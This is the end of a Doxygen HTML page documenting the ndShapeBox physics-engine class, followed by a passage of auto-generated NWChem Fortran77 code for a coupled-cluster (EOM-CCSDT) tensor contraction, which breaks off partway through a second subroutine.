class="memitem:aa489605ec3d72e3d660d28088944a736 inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="aa489605ec3d72e3d660d28088944a736"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_inertia</b></td></tr> <tr class="separator:aa489605ec3d72e3d660d28088944a736 inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa25da3783c746a2e1ca17b04ea96adda inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="aa25da3783c746a2e1ca17b04ea96adda"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_crossInertia</b></td></tr> <tr class="separator:aa25da3783c746a2e1ca17b04ea96adda inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a48ed14916da05e3a13384c50ed40c555 inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a48ed14916da05e3a13384c50ed40c555"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_centerOfMass</b></td></tr> <tr class="separator:a48ed14916da05e3a13384c50ed40c555 inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a193f82e2810a71246a8914f0874e6e17 inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a193f82e2810a71246a8914f0874e6e17"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_boxSize</b></td></tr> <tr class="separator:a193f82e2810a71246a8914f0874e6e17 inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abac0ee87f3fb8938fc6e9103119a2de3 inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="abac0ee87f3fb8938fc6e9103119a2de3"></a> <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_boxOrigin</b></td></tr> <tr class="separator:abac0ee87f3fb8938fc6e9103119a2de3 inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae2af70e1f641becd8334d44cbae6b0e9 inherit pro_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="ae2af70e1f641becd8334d44cbae6b0e9"></a> <a class="el" href="classd_atomic.html">dAtomic</a>&lt; dInt32 &gt;&#160;</td><td class="memItemRight" valign="bottom"><b>m_refCount</b></td></tr> <tr class="separator:ae2af70e1f641becd8334d44cbae6b0e9 inherit pro_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-static-attribs"></a> Static Protected Attributes</h2></td></tr> <tr class="memitem:ab3e1135b07b4b23607ccd9c5ca574d58"><td class="memItemLeft" align="right" valign="top"><a id="ab3e1135b07b4b23607ccd9c5ca574d58"></a> static dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>m_initSimplex</b> = 0</td></tr> <tr class="separator:ab3e1135b07b4b23607ccd9c5ca574d58"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae2bf920bf980ed656da2ad59b06d2e3c"><td class="memItemLeft" align="right" valign="top">static dInt32&#160;</td><td class="memItemRight" valign="bottom"><b>m_faces</b> [][4]</td></tr> <tr class="separator:ae2bf920bf980ed656da2ad59b06d2e3c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1bdc381153c3a1dd80c606a060ad1e9b"><td class="memItemLeft" align="right" valign="top"><a id="a1bdc381153c3a1dd80c606a060ad1e9b"></a> static <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_indexMark</b></td></tr> <tr class="separator:a1bdc381153c3a1dd80c606a060ad1e9b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a38a09dca57999db8a0f7bad12f90d23d"><td class="memItemLeft" align="right" valign="top"><a id="a38a09dca57999db8a0f7bad12f90d23d"></a> static <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_penetrationTol</b></td></tr> <tr class="separator:a38a09dca57999db8a0f7bad12f90d23d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac263d5e49ed59e940eb3dc41e6840175"><td class="memItemLeft" align="right" valign="top"><a id="ac263d5e49ed59e940eb3dc41e6840175"></a> static <a class="el" href="classnd_shape_convex_1_1nd_convex_simplex_edge.html">ndConvexSimplexEdge</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_edgeArray</b> []</td></tr> <tr class="separator:ac263d5e49ed59e940eb3dc41e6840175"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afeb898ac366ace929bd9a80b7b90fa7b"><td class="memItemLeft" align="right" valign="top"><a id="afeb898ac366ace929bd9a80b7b90fa7b"></a> static <a class="el" href="classnd_shape_convex_1_1nd_convex_simplex_edge.html">ndConvexSimplexEdge</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>m_edgeEdgeMap</b> []</td></tr> <tr class="separator:afeb898ac366ace929bd9a80b7b90fa7b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6d4bed86285aa49c4d8f172ce41108cf"><td class="memItemLeft" align="right" valign="top"><a id="a6d4bed86285aa49c4d8f172ce41108cf"></a> static <a class="el" href="classnd_shape_convex_1_1nd_convex_simplex_edge.html">ndConvexSimplexEdge</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>m_vertexToEdgeMap</b> []</td></tr> <tr class="separator:a6d4bed86285aa49c4d8f172ce41108cf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pro_static_attribs_classnd_shape"><td colspan="2" onclick="javascript:toggleInherit('pro_static_attribs_classnd_shape')"><img src="closed.png" alt="-"/>&#160;Static Protected Attributes inherited from <a class="el" href="classnd_shape.html">ndShape</a></td></tr> <tr class="memitem:a3f46c588bf2ab546408aeef1ef0e6b15 inherit pro_static_attribs_classnd_shape"><td class="memItemLeft" align="right" valign="top"><a id="a3f46c588bf2ab546408aeef1ef0e6b15"></a> static <a class="el" href="classd_vector.html">dVector</a>&#160;</td><td class="memItemRight" valign="bottom"><b>m_flushZero</b></td></tr> <tr class="separator:a3f46c588bf2ab546408aeef1ef0e6b15 inherit pro_static_attribs_classnd_shape"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="inherited"></a> Additional Inherited Members</h2></td></tr> <tr class="inherit_header pub_static_methods_classd_class_alloc"><td colspan="2" onclick="javascript:toggleInherit('pub_static_methods_classd_class_alloc')"><img src="closed.png" alt="-"/>&#160;Static Public Member Functions inherited from <a class="el" href="classd_class_alloc.html">dClassAlloc</a></td></tr> <tr class="memitem:ae74817104a54a91a0ed1f74fb1733540 inherit pub_static_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="ae74817104a54a91a0ed1f74fb1733540"></a> static D_CORE_API void *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#ae74817104a54a91a0ed1f74fb1733540">Malloc</a> (size_t size)</td></tr> <tr class="memdesc:ae74817104a54a91a0ed1f74fb1733540 inherit pub_static_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Generic allocation for any function subclass from <a class="el" href="classd_class_alloc.html" title="Base class for providing memory allocation for all other engine classes.">dClassAlloc</a>. <br /></td></tr> <tr class="separator:ae74817104a54a91a0ed1f74fb1733540 inherit pub_static_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a36b92bbda0153a4c2e14853b75016704 inherit pub_static_methods_classd_class_alloc"><td class="memItemLeft" align="right" valign="top"><a id="a36b92bbda0153a4c2e14853b75016704"></a> static D_CORE_API void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classd_class_alloc.html#a36b92bbda0153a4c2e14853b75016704">Free</a> (void *const ptr)</td></tr> <tr class="memdesc:a36b92bbda0153a4c2e14853b75016704 inherit pub_static_methods_classd_class_alloc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Generic destruction for any function subclass from <a class="el" href="classd_class_alloc.html" title="Base class for providing memory allocation for all other engine classes.">dClassAlloc</a>. <br /></td></tr> <tr class="separator:a36b92bbda0153a4c2e14853b75016704 inherit pub_static_methods_classd_class_alloc"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <h2 class="groupheader">Member Data Documentation</h2> <a id="ae2bf920bf980ed656da2ad59b06d2e3c"></a> <h2 class="memtitle"><span class="permalink"><a href="#ae2bf920bf980ed656da2ad59b06d2e3c">&#9670;&nbsp;</a></span>m_faces</h2> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">dInt32 ndShapeBox::m_faces</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span><span class="mlabel">protected</span></span> </td> </tr> </table> </div><div class="memdoc"> <b>Initial value:</b><div class="fragment"><div class="line">=</div> <div class="line">{</div> <div class="line"> {0, 1, 3, 2},</div> <div class="line"> {0, 4, 5, 1},</div> <div class="line"> {1, 5, 7, 3},</div> <div class="line"> {0, 2, 6, 4},</div> <div class="line"> {2, 3, 7, 6},</div> <div class="line"> {4, 6, 7, 5},</div> <div class="line">}</div> </div><!-- fragment --> </div> </div> </div><!-- contents --> </div><!-- doc-content --> <!-- start footer part --> <div id="nav-path" class="navpath"><!-- id is needed for treeview function! --> <ul> <li class="navelem"><a class="el" href="classnd_shape_box.html">ndShapeBox</a></li> <li class="footer">Generated by <a href="http://www.doxygen.org/index.html"><img class="footer" src="doxygen.svg" width="104" height="31" alt="doxygen"/></a> 1.8.20 </li> </ul> </div> </body> </html>
{ "pile_set_name": "Github" }
SUBROUTINE eomccsdt_y2_16_1(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h3 h4 h8 h6 p1 p7 )_yt + = -1 * Sum ( p5 ) * t ( p5 h6 )_t * y ( h3 h4 h8 p1 p5 p7 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h8b INTEGER p1b INTEGER h6b INTEGER p7b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p5b_1 INTEGER h6b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER h8b_2 INTEGER p1b_2 INTEGER p7b_2 INTEGER p5b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h8b = 1,noab DO p1b = noab+1,noab+nvab DO h6b = 1,noab DO p7b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h8b-1)+int_mb(k_spin+p1b-1)+int_mb(k_spin+h6b-1)+i &nt_mb(k_spin+p7b-1).ne.12)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1)+int_mb(k_spin+h8b-1) & .eq. int_mb(k_spin+p1b-1)+int_mb(k_spin+h6b-1)+int_mb(k_spin+p7b- &1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h8b-1),ieor(int_mb(k_sym+p1b-1),ieor(int_mb(k_sym+h6b-1),int &_mb(k_sym+p7b-1)))))) .eq. ieor(irrep_y,irrep_t)) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h8b-1) * int_mb(k_range+p1b-1) * int_mb(k_range+h6b-1) * int_m &b(k_range+p7b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_16_1',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab IF (int_mb(k_spin+p5b-1) .eq. int_mb(k_spin+h6b-1)) THEN IF (ieor(int_mb(k_sym+p5b-1),int_mb(k_sym+h6b-1)) .eq. irrep_t) TH &EN CALL TCE_RESTRICTED_2(p5b,h6b,p5b_1,h6b_1) CALL TCE_RESTRICTED_6(h3b,h4b,h8b,p1b,p7b,p5b,h3b_2,h4b_2,h8b_2,p1 &b_2,p7b_2,p5b_2) dim_common = int_mb(k_range+p5b-1) dima_sort = int_mb(k_range+h6b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+h8b-1) * int_mb(k_range+p1b-1) * int_mb(k_range+p7b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_16_1',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_16_1',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h6b_1 & - 1 + noab * (p5b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+h6b-1),2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_16_1',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_16_1',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_16_1',5,MA_ERR) IF ((h8b .lt. h3b) .and. (p5b .le. p7b) .and. (p7b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p1b-1),5,6,1,3,2,4,1.0d0) END IF IF ((h8b .lt. h3b) .and. (p7b .lt. p5b) .and. (p5b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p1b-1),4,6,1,3,2,5,-1.0d0) END IF IF ((h8b .lt. h3b) .and. (p7b .lt. p1b) .and. (p1b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p5b-1),4,5,1,3,2,6,1.0d0) END IF IF ((h8b .lt. h3b) .and. (p5b .lt. p1b) .and. (p1b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p7b-1),6,5,1,3,2,4,-1.0d0) END IF IF ((h8b .lt. h3b) .and. (p1b .le. p5b) .and. (p5b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p7b-1),6,4,1,3,2,5,1.0d0) END IF IF ((h8b .lt. h3b) .and. (p1b .le. p7b) .and. (p7b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p5b-1),5,4,1,3,2,6,-1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p5b .le. p7b) .and. & (p7b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p1b-1),5,6,2,3,1,4,-1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p7b .lt. p5b) .and. & (p5b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p1b-1),4,6,2,3,1,5,1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p7b .lt. p1b) .and. & (p1b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p5b-1),4,5,2,3,1,6,-1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p5b .lt. p1b) .and. & (p1b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p7b-1),6,5,2,3,1,4,1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p1b .le. p5b) .and. & (p5b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p7b-1),6,4,2,3,1,5,-1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b) .and. (p1b .le. p7b) .and. & (p7b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p5b-1),5,4,2,3,1,6,1.0d0) END IF IF ((h4b .le. h8b) .and. (p5b .le. p7b) .and. (p7b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p1b-1),5,6,3,2,1,4,1.0d0) END IF IF ((h4b .le. h8b) .and. (p7b .lt. p5b) .and. (p5b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p1b-1),4,6,3,2,1,5,-1.0d0) END IF IF ((h4b .le. h8b) .and. (p7b .lt. p1b) .and. (p1b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p7b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p7b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p5b-1),4,5,3,2,1,6,1.0d0) END IF IF ((h4b .le. h8b) .and. (p5b .lt. p1b) .and. (p1b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+p7b-1),6,5,3,2,1,4,-1.0d0) END IF IF ((h4b .le. h8b) .and. (p1b .le. p5b) .and. (p5b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p7b-1),6,4,3,2,1,5,1.0d0) END IF IF ((h4b .le. h8b) .and. (p1b .le. p7b) .and. (p7b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+p5b-1),5,4,3,2,1,6,-1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_16_1',6,MA_E &RR) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_16_1',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_16_1',8 &,MA_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_16_1',9,MA_ERR) CALL TCE_SORT_6(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p7b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+h8b-1),int_mb(k_range+h4b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h6b-1),5,4,3,2,6,1,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p7b - & noab - 1 + nvab * (h6b - 1 + noab * (p1b - noab - 1 + nvab * (h8b & - 1 + noab * (h4b - 1 + noab * (h3b - 1))))))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_16_1',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_16_1',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_16(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_of &fset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i0 ( h3 h4 p1 p2 )_ytv + = -1 * P( 2 ) * Sum ( h8 h6 p7 ) * i1 ( h3 h4 h8 h6 p1 p7 )_yt * v ( h6 p7 h8 p2 )_v IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" 